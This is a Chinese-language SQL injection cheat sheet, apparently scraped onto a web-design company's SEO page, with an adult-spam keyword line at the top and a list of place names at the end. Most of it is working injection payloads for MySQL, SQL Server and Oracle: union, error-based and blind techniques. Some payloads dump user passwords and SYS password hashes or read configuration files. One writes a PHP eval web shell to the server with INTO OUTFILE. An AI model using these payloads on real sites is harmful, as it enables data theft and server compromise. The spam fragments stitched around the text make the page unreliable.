成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

SQL注入速查的方法是什么

本篇內(nèi)容主要講解“SQL注入速查的方法是什么”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“SQL注入速查的方法是什么”吧!

站在用戶的角度思考問題,與客戶深入溝通,找到興和網(wǎng)站設(shè)計與興和網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗(yàn)好的作品,建站類型包括:成都做網(wǎng)站、成都網(wǎng)站制作、成都外貿(mào)網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、域名申請、虛擬空間、企業(yè)郵箱。業(yè)務(wù)覆蓋興和地區(qū)。

0x01 MySQL

Mysql劃分:權(quán)限 root 普通用戶 版本 mysql>5.0 mysql<5.0

1.1 root權(quán)限

load_file和into outfile用戶必須有FILE權(quán)限,并且還需要知道網(wǎng)站的絕對路徑

判斷是否具有讀寫權(quán)限

and (select count(*) from mysql.user)>0# and (select count(file_priv) from mysql.user)>#

A、Load_file() 該函數(shù)用來讀取源文件的函數(shù),只能讀取絕對路徑的網(wǎng)頁文件

注意:路徑符號”\”錯誤 “\”正確 “/”正確,轉(zhuǎn)換成十六進(jìn)制,不用“”

id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(&rsquo;/var/www/index.php&rsquo;)(物理路徑轉(zhuǎn)16進(jìn)制)

可以用來讀取數(shù)據(jù)庫連接文件獲取數(shù)據(jù)連接賬號、密碼等

?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23 id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23

B、into outfile函數(shù)

條件:1. 絕對路徑 2.可以使用單引號

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

1.2 MySQL聯(lián)合查詢

1.2.1 適用于mysql低于5.0版本

1.判斷是否可以注入     ?id=1 and 1=1,頁面正常     ?id=1 and 1=2,頁面空白 2.獲得字段數(shù) order by的方法來判斷,比如:     ?id=1 order by 4   頁面顯示正常     ?id=1 order by 5   頁面出錯,說明字段數(shù)等于4 3.獲得顯示位     ?id=1 and 1=2 union select 1,2,3,4      //比如,頁面上出現(xiàn)了幾個數(shù)字,分別是2,3,4,那么,這幾個數(shù)字就被我們稱作顯示位。 4.猜表名     猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:         ?id=1 and 1=2 union select 1,2,3,4 from users     這樣,當(dāng)users表存在的話,頁面就會顯示正常,如果我們提交一個不存在的表名,頁面就會出錯。  5.猜字段     使用:Concat(字段名)替換顯示位的位置。         ?id=1 and 1=2 union select 1,2,3,concat(username,password) from users

1.2.2 適用于Mysql 5.0以上版本支持查表查列

1.先判斷是否可以注入     and+1=1,頁面正常     and+1=2,頁面空白 2.獲得字段數(shù):使用order by 提交:     ?id=1 order by 4 正確。     ?id=1 order by 5 錯誤。     那么,判斷出字段數(shù)為4。 3.獲得顯示位  提交:?id=1 +and+1=2+union+select+1,2,3,4 顯示位為:2,3,4 4.獲取信息     ?id=1 +and+1=2+union+select+1,2,3,version()      database()      user()       version()      database()       @@basedir  數(shù)據(jù)庫安裝路徑     @@datadir  數(shù)據(jù)庫路徑 5.查表 ?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(數(shù)據(jù)庫名test的Hex) limit 0,1-- 得到表:test  6.查字段     ?id=1 and 1=2 union select 1,2,3,column_name from  information_schema.columns where table_name=0x74657374 limit 0,1--     得到字段:id,username,password 7.爆字段內(nèi)容     ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test

1.3 MySQL報錯注入

mysql暴錯注入方法整理,通過floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double  Query Injection等方法。

多種報錯注入方式:

and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1))) and 1=(updatexml(1,concat(0x3a,(select user())),1)) and GeometryCollection((select*from(select*from(select @@version)f)x)) and polygon((select*from(select name_const(version(),1))x)) and linestring((select * from(select * from(select user())a)b)) and multilinestring((select * from(select * from(select version())a)b)); and multipoint((select * from(select * from(select user())a)b)); and multipolygon((select * from(select * from(select user())a)b)); and exp(~(select * from(select version())a));

1.4 MySQL盲注

基于布爾型注入

id=1 and (select length(user()))=20 # 返回正常頁面  長度20位 id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97 //截取username第一個數(shù)據(jù)的ascii值

基于時間型注入

1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0)) 1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

0x02 SQLServer

SA權(quán)限:數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊表讀取等

Db權(quán)限:文件管理,數(shù)據(jù)庫操作等

Public權(quán)限:數(shù)據(jù)庫操作

2.1 SQLServer 聯(lián)合查詢

1.判斷是否存在注入     ?id=1 and 1=1--  返回正確     ?id=1 and 1=2--  返回錯誤  2.獲取字段數(shù)     ?id=1 order by 2-- 返回正確頁面       ?id=1 order by 3-- 返回錯誤頁面    字段長度為2  3.查看數(shù)據(jù)庫版本     ?id=1 and 1=2 union select  db_name(),null   //獲得當(dāng)前數(shù)據(jù)庫  4.查看表名     ?id=1 and 1=2 union select  top 1  TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')   5.查看列名     ?id=1 and 1=2 union select  top 1 column_name ,2  from  information_schema.columns where table_name ='users'  and column_name not in ('uname')  6.獲取數(shù)據(jù)     ?id=1 and 1=2 union select top 1 uname,null from users

2.2 SQLServer 報錯注入

1.獲取表名 ?id=4' and 1>(select top 1  TABLE_NAME from INFORMATION_SCHEMA.TABLES  where TABLE_NAME not in ('admin') )-- 2.獲取列名 ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --  3.獲取數(shù)據(jù) ?id=4' and 1=(select top 1 pwd from admin) --  4.獲取數(shù)據(jù)庫信息 ?id=1' and 1=(select @@version)--   //SQL Server 2000 ?id=1' and 1=(select db_name())  //當(dāng)前使用的數(shù)據(jù)庫

2.3 SQLServer 盲注

1、猜表名  ?id=1 and  (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 --  //獲取第一個表的長度7  ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 --    //截取第一個表第一位的ascii碼  ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二個表的第一位ASCII值 得到表名,進(jìn)一步猜解字段  2、猜字段 id=1 and  (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1  //獲取users表第一個字段的ASCII值  id=1 and  (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass')  and ascii(substring(name,1,1))>90)=1  -- //獲取user表第二個字段的第一位ASCII值  3、猜數(shù)據(jù) id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --   //獲取users表中uname字段的第一位ASCII值

0x03 Oracle

3.1 聯(lián)合查詢

Union select null,null,null   從第一個null開始加&rsquo;null&rsquo;,得到顯示位 Union select null,null,null from dual  返回正確,存在dual表 Union Select tablespace_name from user_tablespaces    //查庫 Union Select table_name from user_tables where rownum = 1 and table_name<>&rsquo;news&rsquo;  //查表 Union Select column_name from user_tab_columns where table_name=&rsquo;users&rsquo;  //查列 ?id=1 order by 1-- //獲取字段數(shù) and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//獲取數(shù)據(jù)庫版本 and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //獲取當(dāng)前連接數(shù)據(jù)庫的用戶名 union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //獲取用戶SYS密文密碼 union+all+select+(SELECT name FROM v$database)+from+dual-- //獲取庫名 and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//?獲取第一個表名

3.2 手工顯錯注入

最大的區(qū)別就是utl_inaddr.get_host_address這個函數(shù),10g可以調(diào)用,11g需要dba高權(quán)限  //判斷是否是oracle ?id=1 and exists(select * from dual)--  //獲取庫名 ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))&mdash;- //獲取數(shù)據(jù)庫服務(wù)器所在ip ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--  ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')-- ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')-- ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null -- ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

3.3 盲注

基于布爾類型的盲注:

?id=7782' and length((SELECT name FROM v$database))=4--  獲取數(shù)據(jù)庫名長度 ?id=7782'  and ascii(substr((SELECT name FROM v$database),1,1))=79--  獲取數(shù)據(jù)庫名第一位為O

基于時間延遲的盲注:

?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)-- ?id=7782'  AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--

到此,相信大家對“SQL注入速查的方法是什么”有了更深的了解,不妨來實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

網(wǎng)站題目:SQL注入速查的方法是什么
轉(zhuǎn)載注明:http://jinyejixie.com/article16/pgisdg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供做網(wǎng)站、網(wǎng)站設(shè)計公司網(wǎng)站排名、企業(yè)建站、網(wǎng)站維護(hù)App開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化
嵩明县| 海口市| 三原县| 陕西省| 射阳县| 宜兴市| 介休市| 四子王旗| 兴安盟| 和田市| 娱乐| 华蓥市| 交城县| 册亨县| 商河县| 察隅县| 东平县| 咸丰县| 泽普县| 乌苏市| 龙江县| 镇赉县| 将乐县| 定远县| 屏山县| 蓬溪县| 犍为县| 琼结县| 金阳县| 凤山县| 新化县| 余江县| 长子县| 漾濞| 会泽县| 灌阳县| 胶州市| 东光县| 苗栗县| 湘潭县| 杭锦旗|